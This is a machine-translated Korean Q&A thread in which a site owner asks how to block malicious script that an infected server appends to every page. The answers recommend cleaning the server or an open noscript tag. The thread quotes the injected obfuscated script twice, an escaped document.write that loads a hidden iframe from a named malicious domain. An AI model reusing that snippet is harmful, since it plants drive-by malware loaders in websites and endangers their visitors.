2009-10-26 2 views
0

내 웹 사이트가있는 서버에도 바이러스가 있습니다.html/javascript/css에서 특정 코드 묶음을 프로그래밍 방식으로 중지

바이러스가 제공 될 때마다 한 페이지에 악성 코드

<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script> 

을 주입, 그것은 아파치 또는 파일의 끝 부분에 추가하기 비슷한에 의해 사전 처리되고있다.

<html> 
<head> 
<title>Test HTML File</title> 
</head> 
<body> 
<h1>Test HTML File</h1> 
</body> 
</html> 

그것은 꽤 아니지만, 그 목적을 역임 :

나는 다음과 같은 코드, 테스트 파일을 만들었습니다.

브라우저에서 페이지를 볼 때, 내가 할 www.sagamountain.com/testfile.html에서 볼 수 있습니다

<html> 
<head> 
<title>Test HTML File</title> 
</head> 
<body> 
<h1>Test HTML File</h1> 
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script> 
</body> 
</html> 

(경고,이 페이지가 감염)

내가 필요 프로그래밍 방식으로 해당 div와 스크립트가 실행되는 것을 차단합니다. 트로이 목마가있는 사이트의 iframe이므로 실행하십시오. HTML, CSS 또는 JS, 나는 JS가 실행되는 것을 막기위한 어떤 방법이 필요하다.

이미 표시되었으므로 보이지 않지만 iframe이 전혀로드되지 않도록하려면 어떻게해야합니까?

도움 주셔서 감사합니다. 언 이스케이프는 iframe에서 http://ncccnnnc.cn/img/index.php으로 해결되며 이는 분명히 내 문제의 원인입니다. 그 사이트에 가지 마라!

편집 :이 https://serverfault.com/questions/78439/my-website-is-infected-i-restored-a-backup-of-the-uninfected-files-how-long-wil/78459#78459

+4

잠깐, 서버가 감염 되었습니까? 그걸 정리 하는게 어때? 그것은 귀하의 페이지에서 IFRAME 제거의 좋은 부작용이있을거야. –

+1

... 그리고 분명히 서버가 여전히 인터넷에 연결할 수 있습니다 ... –

+0

* 서버, 내 나쁜 – Cyclone

답변

11

내가 특정 질문에 대답 할 수없는 미안 해요에 대한 후속이지만, 나는이 길을 잘못보고있는 것이라고 생각합니다. 당신을 필요 할 것은 바이러스에 삽입 된 HTML 밖으로 하지 스트립입니다, 당신이 필요가 할 수있는 것은 당신의 웹 호스트/시스템 관리자에게 이야기하고 바이러스을 제거.

증상을 치료해도 감염이 치료되지 않습니다. 그러나 질병을 치료하면도 증상을 치료할뿐만 아니라 바이러스를 제거합니다.

+0

나는 그들에게 무엇을해야한다고 말합니까? – Cyclone

+1

a. 서버를 오프라인으로 전환하고 b. Google이 보낸 자료를 검토하고 필요한 단계를 수행하여 감염을 제거하십시오. –

+0

Google은 나에게 어떤 자료도 보내지 않았으며 웹 마스터 도구의 멀웨어 정보는 현재 아무것도 표시하지 않습니다. 이미 서버를 오프라인 상태로 만들라고 말했지만, 서버를 종료하고 싶지는 않습니다. – Cyclone

2

사이버, 서버를 다른 사람이 고칠 때까지 기다려야하는 경우 열린 <noscript> 태그 또는 HTML 주석 태그를 사용하여 문서를 끝내야한다고 말하고 싶습니다.

document.write과 위 태그 중 하나 (noscript/comment)를 사용하지 않으면 Javascript를 사용하여 렌더링되지 않은 콘텐츠를 중지 할 수 없습니다. 이미 너무 늦었 기 때문에 스크립트를 배치하여 아무 것도 할 수 없습니다 (이미 콘텐츠가 있습니다).

추한 솔루션이지만 사이트 방문자가 바이러스를 경험하지 못하게해야합니다. 또한 마크 업을 무효화하지만 모든 브라우저는이를 분석하여 예상대로 렌더링 할 수 있어야합니다.

서버와 관련된 행운을 빈다.

+0

XHTML에 대해 신경 쓰지 마세요. 아쉽습니다! – Cyclone

+0

그것은 천재였습니다. 방금 전에 추가했고, 고칠 수있을 때까지 돌 보았습니다. – Cyclone

관련 문제